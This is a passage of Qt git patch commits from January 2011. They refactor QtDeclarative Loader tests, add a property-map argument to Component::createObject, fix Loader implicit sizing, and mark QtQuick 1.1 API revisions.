    +        QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
    +
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 0; onLoaded: did_load=123; source: \"Rect120x60.qml\" }"), TEST_FILE(""));
    +    component.setData(QByteArray(
    +            "import QtQuick 1.0\n"
    +            "Loader {\n"
    +            "   property int onItemChangedCount: 0\n"
    +            "   property int onSourceChangedCount: 0\n"
    +            "   property int onStatusChangedCount: 0\n"
    +            "   property int onProgressChangedCount: 0\n"
    +            "   property int onLoadedCount: 0\n")
    +            + sourceDefinition.toUtf8()
    +            + QByteArray(
    +            "   onItemChanged: onItemChangedCount += 1\n"
    +            "   onSourceChanged: onSourceChangedCount += 1\n"
    +            "   onStatusChanged: onStatusChangedCount += 1\n"
    +            "   onProgressChanged: onProgressChangedCount += 1\n"
    +            "   onLoaded: onLoadedCount += 1\n"
    +            "}")
    +        , TEST_FILE(""));
    +
         QDeclarativeLoader *loader = qobject_cast(component.create());
         QVERIFY(loader != 0);
    -    QVERIFY(loader->item());
    -    QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml"));
    +    QCOMPARE(loader->item() == 0, error);
    +    QCOMPARE(loader->source(), sourceUrl);
         QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    -    QCOMPARE(loader->property("did_load").toInt(), 123);
    -    QCOMPARE(static_cast(loader)->children().count(), 1);
     
    -    delete loader;
    -}
    +    QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
    +    QCOMPARE(static_cast(loader)->children().count(), error ? 0: 1);
     
    -void tst_QDeclarativeLoader::component()
    -{
    -    QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
    -    QDeclarativeItem *item = qobject_cast(component.create());
    -    QVERIFY(item);
    +    if (!error) {
    +        QDeclarativeComponent *c = qobject_cast(loader->QGraphicsObject::children().at(0));
    +        QVERIFY(c);
    +        QCOMPARE(loader->sourceComponent(), c);
    +    }
     
    -    QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); 
    -    QVERIFY(loader);
    -    QVERIFY(loader->item());
    -    QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    -    QCOMPARE(static_cast(loader)->children().count(), 1);
    +    QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
    +    QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
    +    QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
     
    -    QDeclarativeComponent *c = qobject_cast(item->QGraphicsObject::children().at(0));
    -    QVERIFY(c);
    -    QCOMPARE(loader->sourceComponent(), c);
    +    QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
    +    QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
     
    -    delete item;
    +    delete loader;
     }
     
    -void tst_QDeclarativeLoader::invalidUrl()
    +void tst_QDeclarativeLoader::sourceOrComponent_data()
     {
    -    QTest::ignoreMessage(QtWarningMsg, QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found").toUtf8().constData());
    +    QTest::addColumn("sourceDefinition");
    +    QTest::addColumn("sourceUrl");
    +    QTest::addColumn("errorString");
     
    -    QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { source: \"IDontExist.qml\" }"), TEST_FILE(""));
    -    QDeclarativeLoader *loader = qobject_cast(component.create());
    -    QVERIFY(loader != 0);
    -    QVERIFY(loader->item() == 0);
    -    QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Error);
    -    QCOMPARE(static_cast(loader)->children().count(), 0);
    +    QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
    +    QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
     
    -    delete loader;
    +    QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
    +            << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
     }
     
     void tst_QDeclarativeLoader::clear()
    @@ -446,7 +460,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
         server.serveDirectory(SRCDIR "/data");
     
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: did_load=123 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
    +    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
         if (component.isError())
             qDebug() << component.errors();
         QDeclarativeLoader *loader = qobject_cast(component.create());
    @@ -456,7 +470,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
     
         QVERIFY(loader->item());
         QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->property("did_load").toInt(), 123);
    +    QCOMPARE(loader->property("signalCount").toInt(), 1);
         QCOMPARE(static_cast(loader)->children().count(), 1);
     
         delete loader;
    -- 
    cgit v0.12
    
    
    From aa40f956bab22678b62f630af97f51f9e8fab9f8 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 16:34:07 +1000
    Subject: Fix righ-to-left support in text components.
    
    In text, textEdit and textInput, the layout of the text should
    automatically align to the right if the it is deemed to be
    right-to-left text.
    
    Task-number: QTBUG-15880
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp      | 67 +++++++++++++++++-----
     src/declarative/qml/qdeclarativecomponent.h        |  1 +
     src/declarative/qml/qdeclarativecomponent_p.h      |  2 +
     .../data/createObjectWithScript.qml                | 21 +++++++
     .../tst_qdeclarativecomponent.cpp                  | 28 +++++++++
     5 files changed, 106 insertions(+), 13 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index 8865ddd..bd6e2d8 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -54,11 +54,13 @@
     #include "private/qdeclarativescriptparser_p.h"
     #include "private/qdeclarativedebugtrace_p.h"
     #include "private/qdeclarativeenginedebug_p.h"
    +#include 
     
     #include 
     #include 
     #include 
     #include 
    +#include 
     
     QT_BEGIN_NAMESPACE
     
    @@ -613,7 +615,7 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
     }
     
     /*!
    -    \qmlmethod object Component::createObject(Item parent)
    +    \qmlmethod object Component::createObject(Item parent, Script valuemap = null)
     
         Creates and returns an object instance of this component that will have the given 
         \a parent. Returns null if object creation fails.
    @@ -631,6 +633,12 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
         it is not destroyed by the garbage collector.  This is regardless of Item.parent being set afterwards,
         since setting the Item parent does not change object ownership; only the graphical parent is changed.
     
    +    Since QtQuick 1.1, a map of property values can be optionally passed to the method that applies values to the object's properties
    +    before its creation is finalised. This will avoid binding issues that can occur when the object is
    +    instantiated before property bindings have been set. For example:
    +
    +    \code component.createObject(parent, {"x": 100, "y": 100, "specialProperty": someObject}); \endcode
    +
         Dynamically created instances can be deleted with the \c destroy() method.
         See \l {Dynamic Object Management in QML} for more information.
     */
    @@ -646,25 +654,46 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
     QScriptValue QDeclarativeComponent::createObject(QObject* parent)
     {
         Q_D(QDeclarativeComponent);
    -    QDeclarativeContext* ctxt = creationContext();
    -    if(!ctxt && d->engine)
    -        ctxt = d->engine->rootContext();
    +    return d->createObject(parent, QScriptValue(QScriptValue::NullValue));
    +}
    +
    +/*!
    +    \internal
    +    Overloadable method allows properties to be set during creation
    +*/
    +QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptValue& valuemap)
    +{
    +    Q_D(QDeclarativeComponent);
    +
    +    if (valuemap.isObject() && !valuemap.isArray()) {
    +        qmlInfo(this) << tr("creatObject: value is not an object");
    +        return QScriptValue(QScriptValue::NullValue);
    +    }
    +    return d->createObject(parent, valuemap);
    +}
    +
    +QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, const QScriptValue valuemap)
    +{
    +    Q_Q(QDeclarativeComponent);
    +    QDeclarativeContext* ctxt = q->creationContext();
    +    if(!ctxt && engine)
    +        ctxt = engine->rootContext();
         if (!ctxt)
             return QScriptValue(QScriptValue::NullValue);
    -    QObject* ret = beginCreate(ctxt);
    +    QObject* ret = q->beginCreate(ctxt);
         if (!ret) {
    -        completeCreate();
    +        q->completeCreate();
             return QScriptValue(QScriptValue::NullValue);
         }
     
    -    if (parent) {
    -        ret->setParent(parent);
    +    if (publicParent) {
    +        ret->setParent(publicParent);
             QList functions = QDeclarativeMetaType::parentFunctions();
     
             bool needParent = false;
     
             for (int ii = 0; ii < functions.count(); ++ii) {
    -            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, parent);
    +            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, publicParent);
                 if (res == QDeclarativePrivate::Parented) {
                     needParent = false;
                     break;
    @@ -673,14 +702,26 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent)
                 }
             }
     
    -        if (needParent) 
    +        if (needParent)
                 qWarning("QDeclarativeComponent: Created graphical object was not placed in the graphics scene.");
         }
    -    completeCreate();
     
    -    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine);
    +    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
         QDeclarativeData::get(ret, true)->setImplicitDestructible();
    -    return priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
    +    QScriptValue newObject = priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
    +
    +    if (valuemap.isObject() && !valuemap.isArray()) {
    +        //Iterate through and assign properties
    +        QScriptValueIterator it(valuemap);
    +        while (it.hasNext()) {
    +            it.next();
    +            newObject.setProperty(it.name(), it.value(), QScriptValue::KeepExistingFlags);
    +        }
    +    }
    +
    +    q->completeCreate();
    +
    +    return newObject;
     }
     
     /*!
    diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
    index 6f28f2e..3d318c3 100644
    --- a/src/declarative/qml/qdeclarativecomponent.h
    +++ b/src/declarative/qml/qdeclarativecomponent.h
    @@ -110,6 +110,7 @@ Q_SIGNALS:
     protected:
         QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
         Q_INVOKABLE QScriptValue createObject(QObject* parent);
    +    Q_INVOKABLE QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
     
     private:
         QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
    diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h
    index 02a6ce8..f8bec2b 100644
    --- a/src/declarative/qml/qdeclarativecomponent_p.h
    +++ b/src/declarative/qml/qdeclarativecomponent_p.h
    @@ -116,6 +116,8 @@ public:
                                   ConstructionState *state);
         static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state);
     
    +    QScriptValue createObject(QObject *publicParent, const QScriptValue valuemap);
    +
         QDeclarativeEngine *engine;
         QDeclarativeGuardedContextData creationContext;
     
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    new file mode 100644
    index 0000000..60d4c44
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -0,0 +1,21 @@
    +import QtQuick 1.0
    +
    +Item{
    +    id: root
    +    property QtObject declarativerectangle : null
    +    property QtObject declarativeitem : null
    +    Component{id: a; Rectangle{} }
    +    Component{
    +        id: b
    +        Item{
    +            property bool testBool: false
    +            property int testInt: null
    +            property QtObject testObject: null
    +        }
    +    }
    +
    +    Component.onCompleted: {
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
    +        root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 4db538e..829b762 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -44,6 +44,8 @@
     #include 
     #include 
     #include 
    +#include 
    +#include 
     
     #ifdef Q_OS_SYMBIAN
     // In Symbian OS test data is located in applications private dir
    @@ -60,6 +62,7 @@ private slots:
         void null();
         void loadEmptyUrl();
         void qmlCreateObject();
    +    void qmlCreatObjectWithScript();
     
     private:
         QDeclarativeEngine engine;
    @@ -118,6 +121,31 @@ void tst_qdeclarativecomponent::qmlCreateObject()
         QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
     }
     
    +void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
    +{
    +    QDeclarativeEngine engine;
    +    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
    +    QObject *object = component.create();
    +    QVERIFY(object != 0);
    +
    +    QObject *testObject1 = object->property("declarativerectangle").value();
    +    QVERIFY(testObject1);
    +    QVERIFY(testObject1->parent() == object);
    +    QCOMPARE(testObject1->property("x").value(), 17);
    +    QCOMPARE(testObject1->property("y").value(), 17);
    +    QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +
    +    QObject *testObject2 = object->property("declarativeitem").value();
    +    QVERIFY(testObject2);
    +    QVERIFY(testObject2->parent() == object);
    +    QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
    +    QCOMPARE(testObject2->property("x").value(), 17);
    +    QCOMPARE(testObject2->property("y").value(), 17);
    +    QCOMPARE(testObject2->property("testBool").value(), true);
    +    QCOMPARE(testObject2->property("testInt").value(), 17);
    +    QCOMPARE(testObject2->property("testObject").value(), object);
    +}
    +
     QTEST_MAIN(tst_qdeclarativecomponent)
     
     #include "tst_qdeclarativecomponent.moc"
    -- 
    cgit v0.12
    
    
    From b427b69a8efc0502cb06c388c70c8877a13db2f4 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Thu, 27 Jan 2011 16:43:23 +1000
    Subject: Setting the size of a loader overwrote its implict size.
    
    If the created item does not have a valid width/height then our
    implictWidth/Height should be the same as the items implict size.
    
    Task-number: QTBUG-16928
    Reviewed-by: Bea Lam
    ---
     .../graphicsitems/qdeclarativeloader.cpp           | 22 +++++++++++++++++----
     .../graphicsitems/qdeclarativeloader_p_p.h         |  3 +++
     .../qdeclarativeloader/data/QTBUG_16928.qml        | 23 ++++++++++++++++++++++
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 13 ++++++++++++
     4 files changed, 57 insertions(+), 4 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 86d6404..b5f8b1d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -48,7 +48,8 @@
     QT_BEGIN_NAMESPACE
     
     QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
    -    : item(0), component(0), ownComponent(false), isComponentComplete(false)
    +    : item(0), component(0), ownComponent(false), isComponentComplete(false), updatingSize(false),
    +      itemWidthValid(false), itemHeightValid(false)
     {
     }
     
    @@ -99,6 +100,10 @@ void QDeclarativeLoaderPrivate::initResize()
             QDeclarativeItemPrivate *p =
                     static_cast(QGraphicsItemPrivate::get(qmlItem));
             p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
    +        // We may override the item's size, so we need to remember
    +        // whether the item provided its own valid size.
    +        itemWidthValid = p->widthValid;
    +        itemHeightValid = p->heightValid;
         } else if (item && item->isWidget()) {
             QGraphicsWidget *widget = static_cast(item);
             widget->installEventFilter(q);
    @@ -510,13 +515,21 @@ qreal QDeclarativeLoader::progress() const
     void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
     {
         Q_Q(QDeclarativeLoader);
    -    if (!item)
    +    if (!item || updatingSize)
             return;
    +
    +    updatingSize = true;
         if (QDeclarativeItem *qmlItem = qobject_cast(item)) {
    -        q->setImplicitWidth(qmlItem->width());
    +        if (!itemWidthValid)
    +            q->setImplicitWidth(qmlItem->implicitWidth());
    +        else
    +            q->setImplicitWidth(qmlItem->width());
             if (loaderGeometryChanged && q->widthValid())
                 qmlItem->setWidth(q->width());
    -        q->setImplicitHeight(qmlItem->height());
    +        if (!itemHeightValid)
    +            q->setImplicitHeight(qmlItem->implicitHeight());
    +        else
    +            q->setImplicitHeight(qmlItem->height());
             if (loaderGeometryChanged && q->heightValid())
                 qmlItem->setHeight(q->height());
         } else if (item && item->isWidget()) {
    @@ -531,6 +544,7 @@ void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
             if (widget->size() != widgetSize)
                 widget->resize(widgetSize);
         }
    +    updatingSize = false;
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 7f1a6da..6a40bf3 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -79,6 +79,9 @@ public:
         QDeclarativeComponent *component;
         bool ownComponent : 1;
         bool isComponentComplete : 1;
    +    bool updatingSize: 1;
    +    bool itemWidthValid : 1;
    +    bool itemHeightValid : 1;
     
         void _q_sourceLoaded();
         void _q_updateSize(bool loaderGeometryChanged = true);
    diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    new file mode 100644
    index 0000000..9949e34
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.1
    +
    +Rectangle {
    +    color: "green"
    +    width: loader.implicitWidth+50
    +    height: loader.implicitHeight+50
    +
    +    Loader {
    +        id: loader
    +        sourceComponent: Item {
    +            anchors.centerIn: parent
    +
    +            implicitWidth: 200
    +            implicitHeight: 200
    +            Rectangle {
    +                color: "red"
    +                anchors.fill: parent
    +            }
    +        }
    +        anchors.fill: parent
    +        anchors.margins: 15
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index 358822e..ea8ea16 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -89,6 +89,7 @@ private slots:
         void nonItem();
         void vmeErrors();
         void creationContext();
    +    void QTBUG_16928();
     
     private:
         QDeclarativeEngine engine;
    @@ -590,6 +591,18 @@ void tst_QDeclarativeLoader::creationContext()
         delete o;
     }
     
    +void tst_QDeclarativeLoader::QTBUG_16928()
    +{
    +    QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml"));
    +    QDeclarativeItem *item = qobject_cast(component.create());
    +    QVERIFY(item);
    +
    +    QCOMPARE(item->width(), 250.);
    +    QCOMPARE(item->height(), 250.);
    +
    +    delete item;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeLoader)
     
     #include "tst_qdeclarativeloader.moc"
    -- 
    cgit v0.12
    
    
    From ed742d3c46eca7584b6fcb20c2de941852613fb2 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 16:49:21 +1000
    Subject: Apply property bindings during component creation. Add versioning
    
    Versioning for QtQuick 1.1 was added for invokable method in
    component. Full changes are in:
    aa40f956bab22678b62f630af97f51f9e8fab9f8
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.h | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
    index 3d318c3..9a60a8b 100644
    --- a/src/declarative/qml/qdeclarativecomponent.h
    +++ b/src/declarative/qml/qdeclarativecomponent.h
    @@ -110,7 +110,7 @@ Q_SIGNALS:
     protected:
         QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
         Q_INVOKABLE QScriptValue createObject(QObject* parent);
    -    Q_INVOKABLE QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
    +    Q_INVOKABLE Q_REVISION(1) QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
     
     private:
         QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
    -- 
    cgit v0.12
    
    
    From ab71df83ba4eb9d749efc0f3a2d4a0fe5486023f Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Thu, 27 Jan 2011 16:52:54 +1000
    Subject: Add missing revisions for QtQuick 1.1 additions
    
    Task-number: QTBUG-15279
    Reviewed-by: Michael Brasser
    ---
     .../graphicsitems/qdeclarativeimagebase.cpp        |  5 +++
     .../graphicsitems/qdeclarativeimagebase_p.h        |  9 +++--
     .../graphicsitems/qdeclarativeitemsmodule.cpp      |  2 +
     .../graphicsitems/qdeclarativepositioners_p.h      |  6 +--
     src/declarative/graphicsitems/qdeclarativetext_p.h | 12 +++---
     .../graphicsitems/qdeclarativetextedit_p.h         |  2 +-
     .../qdeclarativeimage/tst_qdeclarativeimage.cpp    | 45 +++++++++++++++++++++-
     .../qdeclarativetext/data/lineCount.qml            |  2 +-
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 41 ++++++++++++++++++++
     .../tst_qdeclarativetextedit.cpp                   | 41 ++++++++++++++++++++
     10 files changed, 148 insertions(+), 17 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    index 8448bd6..471c87f 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    @@ -48,6 +48,11 @@
     
     QT_BEGIN_NAMESPACE
     
    +QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeItem *parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeImageBasePrivate), parent)
    +{
    +}
    +
     QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
       : QDeclarativeImplicitSizeItem(dd, parent)
     {
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    index d183bdc..abee25d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    @@ -58,11 +58,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeI
         Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
         Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
         Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged)
    -    Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged) // ### VERSIONING: Only in QtQuick 1.1
    +    Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1)
         Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged)
    -    Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1
    +    Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1)
     
     public:
    +    QDeclarativeImageBase(QDeclarativeItem *parent=0);
         ~QDeclarativeImageBase();
         enum Status { Null, Ready, Loading, Error };
         Status status() const;
    @@ -89,8 +90,8 @@ Q_SIGNALS:
         void statusChanged(QDeclarativeImageBase::Status);
         void progressChanged(qreal progress);
         void asynchronousChanged();
    -    void cacheChanged();
    -    void mirrorChanged();
    +    Q_REVISION(1) void cacheChanged();
    +    Q_REVISION(1) void mirrorChanged();
     
     protected:
         virtual void load();
    diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    index 3395397..bc4a2d0 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    @@ -187,10 +187,12 @@ void QDeclarativeItemModule::defineModule()
         qmlRegisterType("QtQuick",1,1,"Grid");
         qmlRegisterType("QtQuick",1,1,"Flow");
         qmlRegisterType("QtQuick",1,1,"Repeater");
    +    qmlRegisterType("QtQuick",1,1,"Text");
         qmlRegisterType("QtQuick",1,1,"TextEdit");
     #ifndef QT_NO_LINEEDIT
         qmlRegisterType("QtQuick",1,1,"TextInput");
     #endif
    +    qmlRegisterRevision("QtQuick",1,1);
         qmlRegisterRevision("QtQuick",1,0);
         qmlRegisterRevision("QtQuick",1,1);
         qmlRegisterRevision("QtQuick",1,0);
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    index 6b45e49..55d8fa1 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    @@ -129,7 +129,7 @@ private:
     class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner
     {
         Q_OBJECT
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
     public:
         QDeclarativeRow(QDeclarativeItem *parent=0);
     
    @@ -153,7 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner
         Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
         Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
         Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
     
     public:
         QDeclarativeGrid(QDeclarativeItem *parent=0);
    @@ -194,7 +194,7 @@ class QDeclarativeFlowPrivate;
     class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner
     {
         Q_OBJECT
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
         Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
     public:
         QDeclarativeFlow(QDeclarativeItem *parent=0);
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index ec33b84..58751e7 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -71,9 +71,9 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
         Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
         Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
    -    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged)
    -    Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged)
    -    Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount)
    +    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
    +    Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1)
